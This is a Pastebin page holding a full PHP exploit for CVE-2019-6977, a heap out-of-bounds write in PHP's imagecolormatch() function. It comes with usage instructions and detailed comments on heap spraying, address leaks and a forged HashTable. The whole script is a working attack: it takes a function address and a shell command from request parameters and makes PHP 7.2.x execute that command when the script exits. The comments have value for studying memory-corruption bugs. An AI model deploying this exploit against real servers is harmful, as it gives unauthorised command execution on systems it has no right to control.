cdw1p

CVE-2019-6977-imagecolormatch

Jul 2nd, 2019
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.24 KB | None | 0 0
  1. <?php
  2. # imagecolormatch() OOB Heap Write exploit
  3. # https://bugs.php.net/bug.php?id=77270
  4. # CVE-2019-6977
  5. # Charles Fol
  6. # @cfreal_
  7. #
  8. # Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
  9. # Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
  10. #
  11. # Target: PHP 7.2.x
  12. # Tested on: PHP 7.2.12
  13. #
  14.  
  15. /*
  16.  
  17. buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
  18.  
  19.     for (x=0; x<im1->sx; x++) {
  20.         for( y=0; y<im1->sy; y++ ) {
  21.             color = im2->pixels[y][x];
  22.             rgb = im1->tpixels[y][x];
  23.             bp = buf + (color * 5);
  24.             (*(bp++))++;
  25.             *(bp++) += gdTrueColorGetRed(rgb);
  26.             *(bp++) += gdTrueColorGetGreen(rgb);
  27.             *(bp++) += gdTrueColorGetBlue(rgb);
  28.             *(bp++) += gdTrueColorGetAlpha(rgb);
  29.         }
  30.  
  31. The buffer is written to by means of a color being the index:
  32. color = im2->pixels[y][x];
  33. ..
  34. bp = buf + (color * 5);
  35.  
  36. */
  37.  
  38. #
  39. # The bug allows us to increment 5 longs located after buf in memory.
  40. # The first long is incremented by one, others by an arbitrary value between 0
  41. # and 0xff.
  42. #
  43.  
  44. error_reporting(E_ALL);
  45. define('OFFSET_STR_VAL', 0x18);
  46. define('BYTES_PER_COLOR', 0x28);
  47.  
  48.  
  49. class Nenuphar extends DOMNode
  50. {
  51.     # Add a property so that std.properties is created
  52.     function __construct()
  53.     {
  54.         $this->x = '1';
  55.     }
  56.  
  57.     # Define __get
  58.     # => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS
  59.     # => zend_object_properties_size() == 0
  60.     # => sizeof(intern) == 0x50
  61.     function __get($x)
  62.     {
  63.         return $this->$x;
  64.     }
  65. }
  66.  
  67. class Nenuphar2 extends DOMNode
  68. {
  69.     function __construct()
  70.     {
  71.         $this->x = '2';
  72.     }
  73.  
  74.     function __get($x)
  75.     {
  76.         return $this->$x;
  77.     }
  78. }
  79.  
  80. function ptr2str($ptr, $m=8)
  81. {
  82.     $out = "";
  83.     for ($i=0; $i<$m; $i++)
  84.     {
  85.         $out .= chr($ptr & 0xff);
  86.         $ptr >>= 8;
  87.     }
  88.     return $out;
  89. }
  90.  
  91. function str2ptr(&$str, $p, $s=8)
  92. {
  93.     $address = 0;
  94.     for($j=$p+$s-1;$j>=$p;$j--)
  95.     {
  96.         $address <<= 8;
  97.         $address |= ord($str[$j]);
  98.     }
  99.     return $address;
  100. }
  101.  
  102. # Spray stuff so that we get concurrent memory blocks
  103. for($i=0;$i<100;$i++)
  104.     ${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
  105. for($i=0;$i<100;$i++)
  106.     ${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);
  107.  
  108. #
  109. # #1: Address leak
  110. # We want to obtain the address of a string so that we can make
  111. # the Nenuphar.std.properties HashTable* point to it and hence control its
  112. # structure.
  113. #
  114.  
  115. # We create two images $img1 and $img2, both of 1 pixel.
  116. # The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
  117. # $img2 to have $nb_colors images and we set its only pixel to color number
  118. # $nb_colors.
  119. #
  120. $nb_colors = 12;
  121. $size_buf = $nb_colors * BYTES_PER_COLOR;
  122.  
  123. # One pixel image so that the double loop iterates only once
  124. $img1 = imagecreatetruecolor(1, 1);
  125.  
  126. # The three RGB values will be added to OOB memory
  127. # First value (Red) is added to the size of the zend_string structure which
  128. # lays under buf in memory.
  129. $color = imagecolorallocate($img1, 0xFF, 0, 0);
  130. imagefill($img1, 0, 0, $color);
  131.  
  132. $img2 = imagecreate(1, 1);
  133.  
  134. # Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
  135. # which puts buf in 0x200 memory blocks
  136. for($i=0;$i<$nb_colors;$i++)
  137.     imagecolorallocate($img2, 0, 0, $i);
  138.  
  139. imagesetpixel($img2, 0, 0, $nb_colors + 1);
  140.  
  141. # Create a memory layout as such:
  142. # [z:   zend_string: 0x200]
  143. # [x:   zend_string: 0x200]
  144. # [y:   zend_string: 0x200]
  145. $z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
  146. $x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
  147. $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);
  148.  
  149. # Then, we unset z and call imagecolormatch(); buf will be at z's memory
  150. # location during the execution
  151. # [buf: long[]     : 0x200]
  152. # [x:   zend_string: 0x200]
  153. # [y:   zend_string: 0x200]
  154. #
  155. # We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
  156. # buf + 0x208 + 0x08 is X's zend_string.len
  157. unset($z);
  158. imagecolormatch($img1, $img2);
  159.  
  160. # Now, $x's size has been increased by 0xFF, so we can read further in memory.
  161. #
  162. # Since buf was the last freed block, by unsetting y, we make its first 8 bytes
  163. # point to the old memory location of buf
  164. # [free:             0x200] <-+
  165. # [x:   zend_string: 0x200]   |
  166. # [free:             0x200] --+
  167. unset($y);
  168. # We can read those bytes because x's size has been increased
  169. $z_address = str2ptr($x, 488) + OFFSET_STR_VAL;
  170.  
  171. # Reset both these variables so that their slot cannot be "stolen" by other
  172. # allocations
  173. $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
  174.  
  175. # Now that we have z's address, we can make something point to it.
  176. # We create a fake HashTable structure in Z; when the script exits, each element
  177. # of this HashTable will be destroyed by calling ht->pDestructor(element)
  178. # The only element here is a string: "id"
  179. $z =
  180.     # refcount
  181.     ptr2str(1) .
  182.     # u-nTableMask meth
  183.     ptr2str(0) .
  184.     # Bucket arData
  185.     ptr2str($z_address + 0x38) .
  186.     # uint32_t nNumUsed;
  187.     ptr2str(1, 4) .
  188.     # uint32_t nNumOfElements;
  189.     ptr2str(1, 4) .
  190.     # uint32_t nTableSize
  191.     ptr2str(0, 4) .
  192.     # uint32_t nInternalPointer
  193.     ptr2str(0, 4) .
  194.     # zend_long nNextFreeElement
  195.     ptr2str(0x4242424242424242) .
  196.     # dtor_func_t pDestructor
  197.     ptr2str(hexdec($_REQUEST['f'])) .
  198.     str_pad($_REQUEST['c'], 0x100, "\x00") .
  199.     ptr2str(0, strlen($y) - 0x38 - 0x100);
  200. ;
  201.  
  202. # At this point we control a string $z and we know its address: we'll make an
  203. # internal PHP HashTable structure point to it.
  204.  
  205.  
  206. #
  207. # #2: Read Nenuphar.std.properties
  208. #
  209.  
  210. # The tricky part here was to find an interesting PHP structure that is
  211. # allocated in the same fastbins as buf, so that we can modify one of its
  212. # internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
  213. # whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
  214. # one extra method, __get().
  215. # php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
  216. # Since we defined a __get() method, zend_object_properties_size(class_type) = 0
  217. # and not -0x10.
  218. #
  219. # zend_object.properties points to an HashTable. Controlling an HashTable in PHP
  220. # means code execution since at the end of the script, every element of an HT is
  221. # destroyed by calling ht.pDestructor(ht.arData[i]).
  222. # Hence, we want to change the $nenuphar.std.properties pointer.
  223. #
  224. # To proceed, we first read $nenuphar.std.properties, and then increment it
  225. # by triggering the bug several times, until
  226. # $nenuphar.std.properties == $z_address
  227. #
  228. # Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger
  229. # the bug. This is due to (*(bp++))++ (in gdImageColorMatch).
  230. # To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and
  231. # instanciate them as $nenuphar and $nenuphar2. After we're done changing the
  232. # std.properties pointer, we trigger the bug more times, until
  233. # $nenuphar.std.ce == $nenuphar2.std.ce2
  234. #
  235. # This way, $nenuphar will have an arbitrary std.properties pointer, and its
  236. # std.ce will be valid.
  237. #
  238. # Afterwards, we let the script exit, which will destroy our fake hashtable (Z),
  239. # and therefore call our arbitrary function.
  240. #
  241.  
  242. # Here we want fastbins of size 0x50 to match dom_object's size
  243. $nb_colors = 2;
  244. $size_buf = $nb_colors * BYTES_PER_COLOR;
  245.  
  246. $img1 = imagecreatetruecolor(1, 1);
  247. # The three RGB values will be added to OOB memory
  248. # Second value (Green) is added to the size of the zend_string structure which
  249. # lays under buf in memory.
  250. $color = imagecolorallocate($img1, 0, 0xFF, 0);
  251. imagefill($img1, 0, 0, $color);
  252.  
  253. # Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50
  254. $img2 = imagecreate(1, 1);
  255. for($i=0;$i<$nb_colors;$i++)
  256.     imagecolorallocate($img2, 0, 0, $i);
  257.  
  258. $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
  259. $x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
  260. $nenuphar = new Nenuphar();
  261. $nenuphar2 = new Nenuphar2();
  262.  
  263. imagesetpixel($img2, 0, 0, $nb_colors);
  264.  
  265. # Unsetting the first string so that buf takes its place
  266. unset($y);
  267.  
  268. # Trigger the bug: $x's size is increased by 0xFF
  269. imagecolormatch($img1, $img2);
  270.  
  271. $ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
  272. $ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
  273. $props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
  274.  
  275. print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
  276. print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
  277. print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
  278. print('z.val: 0x' . dechex($z_address) . "\n");
  279. print('Difference: 0x' . dechex($z_address-$props_address) . "\n");
  280.  
  281. if(
  282.     $ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
  283.     $z_address - $props_address < 0
  284. )
  285. {
  286.     print('That won\'t work');
  287.     exit(0);
  288. }
  289.  
  290.  
  291. #
  292. # #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce
  293. #
  294.  
  295. # Each time we increment Nenuphar.properties by an arbitrary value, ce1_address
  296. # is also incremented by one because of (*(bp++))++;
  297. # Therefore after we're done incrementing props_address to z_address we need
  298. # to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce
  299.  
  300. # The memory structure we have ATM is OK. We can just trigger the bug again
  301. # until Nenuphar.properties == z_address
  302.  
  303. $color = imagecolorallocate($img1, 0, 0xFF, 0);
  304. imagefill($img1, 0, 0, $color);
  305. imagesetpixel($img2, 0, 0, $nb_colors + 3);
  306.  
  307. for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
  308. {
  309.     imagecolormatch($img1, $img2);
  310.     $ce1_address++;
  311. }
  312.  
  313. $color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
  314. imagefill($img1, 0, 0, $color);
  315. $current = imagecolormatch($img1, $img2);
  316. $ce1_address++;
  317.  
  318. # Since we don't want to touch other values, only increase the first one, we set
  319. # the three colors to 0
  320. $color = imagecolorallocate($img1, 0, 0, 0);
  321. imagefill($img1, 0, 0, $color);
  322.  
  323. # Trigger the bug once to increment ce1 by one.
  324. while($ce1_address++ < $ce2_address)
  325. {
  326.     imagecolormatch($img1, $img2);
  327. }
  328.  
  329. # Read the string again to see if we were successful
  330.  
  331. $new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
  332. $new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
  333.  
  334. if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
  335. {
  336.     print("\nExploit SUCCESSFUL !\n");
  337. }
  338. else
  339. {
  340.     print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
  341.     print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
  342.     print("\nExploit FAILED !\n");
  343. }
Advertisement
Add Comment
Please, Sign In to add comment